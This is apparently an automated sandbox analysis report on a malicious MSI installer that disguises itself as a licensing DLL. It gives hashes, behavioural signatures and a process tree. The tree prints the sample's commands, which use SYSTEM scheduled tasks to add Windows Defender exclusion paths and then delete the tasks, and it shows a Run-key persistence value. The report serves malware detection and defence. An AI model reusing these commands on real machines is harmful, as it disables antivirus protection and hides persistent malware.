Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
31/07/2026, 04:38
Static task
static1
Behavioral task
behavioral1
Sample
install_mal007.msi
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
install_mal007.msi
Resource
win11ltsc2024-20260709-en
General
- Target install_mal007.msi
- Size 5.9MB
- Sample260731-e9fzbscg42
- SHA256 af67f4e1374475773c764bf068cbe4ac526ee7aa30da35b94adaaf9c42bde29c
- MD5 fdea78a5744814c2b2f4f03300d31afb
- SHA1 79a3e61fcceba9d0a54f0b4c70791a4f7c280bf5
- SHA512 55190c1365326a8616e44c6cfffd7aa5bf86c8acaa9fdb00fd53c375e05d2ff1e69093009ef9e5b78ffc95b435ea2e4d4b669fd3ba47b2201869abb48654faac
- SSDEEP 98304:JwGnxljxFjhf26l9p63fq/FPmsSLiYotErO6/zLSRfhIyrFZqs2ukeB:hxdxT26Efq/FYYErOapyr7qtur
- TLSH T1565633A67DC93BB1D49BC7749002756EB6393FD6BE12AC137AEC37401E32A299478341
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\lnGRMa = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation tl5yfC.exe - Executes dropped EXE 1 IoCs
pid Process 2168 tl5yfC.exe - Loads dropped DLL 2 IoCs
pid Process 824 MsiExec.exe 2168 tl5yfC.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\lnGRMa\\tl5yfC.exe\"" tl5yfC.exe - Badlisted process makes network request 12 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 12 824 MsiExec.exe 14 824 MsiExec.exe 16 824 MsiExec.exe 32 824 MsiExec.exe 40 824 MsiExec.exe 47 824 MsiExec.exe 48 824 MsiExec.exe 54 824 MsiExec.exe 56 824 MsiExec.exe 58 824 MsiExec.exe 61 824 MsiExec.exe 64 824 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\P: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2884 cmd.exe 632 cmd.exe 4648 cmd.exe 4324 cmd.exe 1236 cmd.exe - Drops file in System32 directory 10 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b tl5yfC.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E6C97C39E1851E5AAB36E260F19BBDD5 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E6C97C39E1851E5AAB36E260F19BBDD5 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\Installer\e584745.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{4CA0D086-AA26-797D-3C5F-028810CDD1E6} msiexec.exe File opened for modification C:\Windows\Installer\MSI485E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI490B.tmp msiexec.exe File created C:\Windows\Installer\e584747.msi msiexec.exe File opened for modification C:\Windows\Installer\e584745.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3592 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3716 cmd.exe 4812 cmd.exe 1264 cmd.exe 1516 cmd.exe 2896 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000e0d688459d835b340000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000e0d688450000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900e0d68845000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1ae0d68845000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1de0d68845000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\PackageName = "install_mal007.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\PackageCode = "C4807A1710B6EC84091D1744F303335E" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\ProductName = "ENCPP Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Version = "84017285" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3944 schtasks.exe 3540 schtasks.exe 2540 schtasks.exe 3752 schtasks.exe 3592 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3688 msiexec.exe 3688 msiexec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 824 MsiExec.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe 2168 tl5yfC.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 668 Process not Found 668 Process not Found 668 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3592 msiexec.exe Token: SeIncreaseQuotaPrivilege 3592 msiexec.exe Token: SeSecurityPrivilege 3688 msiexec.exe Token: SeCreateTokenPrivilege 3592 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3592 msiexec.exe Token: SeLockMemoryPrivilege 3592 msiexec.exe Token: SeIncreaseQuotaPrivilege 3592 msiexec.exe Token: SeMachineAccountPrivilege 3592 msiexec.exe Token: SeTcbPrivilege 3592 msiexec.exe Token: SeSecurityPrivilege 3592 msiexec.exe Token: SeTakeOwnershipPrivilege 3592 msiexec.exe Token: SeLoadDriverPrivilege 3592 msiexec.exe Token: SeSystemProfilePrivilege 3592 msiexec.exe Token: SeSystemtimePrivilege 3592 msiexec.exe Token: SeProfSingleProcessPrivilege 3592 msiexec.exe Token: SeIncBasePriorityPrivilege 3592 msiexec.exe Token: SeCreatePagefilePrivilege 3592 msiexec.exe Token: SeCreatePermanentPrivilege 3592 msiexec.exe Token: SeBackupPrivilege 3592 msiexec.exe Token: SeRestorePrivilege 3592 msiexec.exe Token: SeShutdownPrivilege 3592 msiexec.exe Token: SeDebugPrivilege 3592 msiexec.exe Token: SeAuditPrivilege 3592 msiexec.exe Token: SeSystemEnvironmentPrivilege 3592 msiexec.exe Token: SeChangeNotifyPrivilege 3592 msiexec.exe Token: SeRemoteShutdownPrivilege 3592 msiexec.exe Token: SeUndockPrivilege 3592 msiexec.exe Token: SeSyncAgentPrivilege 3592 msiexec.exe Token: SeEnableDelegationPrivilege 3592 msiexec.exe Token: SeManageVolumePrivilege 3592 msiexec.exe Token: SeImpersonatePrivilege 3592 msiexec.exe Token: SeCreateGlobalPrivilege 3592 msiexec.exe Token: SeBackupPrivilege 3312 vssvc.exe Token: SeRestorePrivilege 3312 vssvc.exe Token: SeAuditPrivilege 3312 vssvc.exe Token: SeBackupPrivilege 3688 msiexec.exe Token: SeRestorePrivilege 3688 msiexec.exe Token: SeRestorePrivilege 3688 msiexec.exe Token: SeTakeOwnershipPrivilege 3688 msiexec.exe Token: SeRestorePrivilege 3688 msiexec.exe Token: SeTakeOwnershipPrivilege 3688 msiexec.exe Token: SeRestorePrivilege 3688 msiexec.exe Token: SeTakeOwnershipPrivilege 3688 msiexec.exe Token: SeBackupPrivilege 3552 srtasks.exe Token: SeRestorePrivilege 3552 srtasks.exe Token: SeSecurityPrivilege 3552 srtasks.exe Token: SeTakeOwnershipPrivilege 3552 srtasks.exe Token: SeBackupPrivilege 3552 srtasks.exe Token: SeRestorePrivilege 3552 srtasks.exe Token: SeSecurityPrivilege 3552 srtasks.exe Token: SeTakeOwnershipPrivilege 3552 srtasks.exe Token: SeRestorePrivilege 3688 msiexec.exe Token: SeTakeOwnershipPrivilege 3688 msiexec.exe Token: SeRestorePrivilege 3688 msiexec.exe Token: SeTakeOwnershipPrivilege 3688 msiexec.exe Token: SeRestorePrivilege 3688 msiexec.exe Token: SeTakeOwnershipPrivilege 3688 msiexec.exe Token: SeRestorePrivilege 3688 msiexec.exe Token: SeTakeOwnershipPrivilege 3688 msiexec.exe Token: SeRestorePrivilege 3688 msiexec.exe Token: SeTakeOwnershipPrivilege 3688 msiexec.exe Token: SeRestorePrivilege 3688 msiexec.exe Token: SeTakeOwnershipPrivilege 3688 msiexec.exe Token: SeRestorePrivilege 3688 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3592 msiexec.exe 3592 msiexec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 3688 wrote to memory of 3552 3688 msiexec.exe 93 PID 3688 wrote to memory of 824 3688 msiexec.exe 95 PID 2168 wrote to memory of 2884 2168 tl5yfC.exe 110 PID 2884 wrote to memory of 3540 2884 cmd.exe 113 PID 2884 wrote to memory of 1808 2884 cmd.exe 115 PID 2168 wrote to memory of 632 2168 tl5yfC.exe 117 PID 2884 wrote to memory of 2472 2884 cmd.exe 119 PID 632 wrote to memory of 2540 632 cmd.exe 120 PID 632 wrote to memory of 5032 632 cmd.exe 122 PID 632 wrote to memory of 1340 632 cmd.exe 125 PID 4812 wrote to memory of 4188 4812 cmd.exe 127 PID 1264 wrote to memory of 5072 1264 cmd.exe 128 PID 2168 wrote to memory of 4648 2168 tl5yfC.exe 129 PID 4648 wrote to memory of 3752 4648 cmd.exe 131 PID 4648 wrote to memory of 4532 4648 cmd.exe 132 PID 4648 wrote to memory of 516 4648 cmd.exe 135 PID 1516 wrote to memory of 1560 1516 cmd.exe 136 PID 2168 wrote to memory of 4324 2168 tl5yfC.exe 137 PID 4324 wrote to memory of 3592 4324 cmd.exe 139 PID 4324 wrote to memory of 1632 4324 cmd.exe 140 PID 4324 wrote to memory of 1056 4324 cmd.exe 143 PID 2896 wrote to memory of 5064 2896 cmd.exe 144 PID 2168 wrote to memory of 1236 2168 tl5yfC.exe 145 PID 1236 wrote to memory of 3944 1236 cmd.exe 147 PID 1236 wrote to memory of 3560 1236 cmd.exe 148 PID 3716 wrote to memory of 4416 3716 cmd.exe 151 PID 1236 wrote to memory of 1052 1236 cmd.exe 152 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal007.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3592
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:3552
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 66A84DC349B5273CAEAD9B77B55FB102 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:824
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3312
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C:\Users\Public\lnGRMa\tl5yfC.exeC:\Users\Public\lnGRMa\tl5yfC.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\lnGRMa\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\lnGRMa\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3540
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1808
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2472
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2540
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5032
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1340
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3752
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4532
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3592
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1632
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1236 -
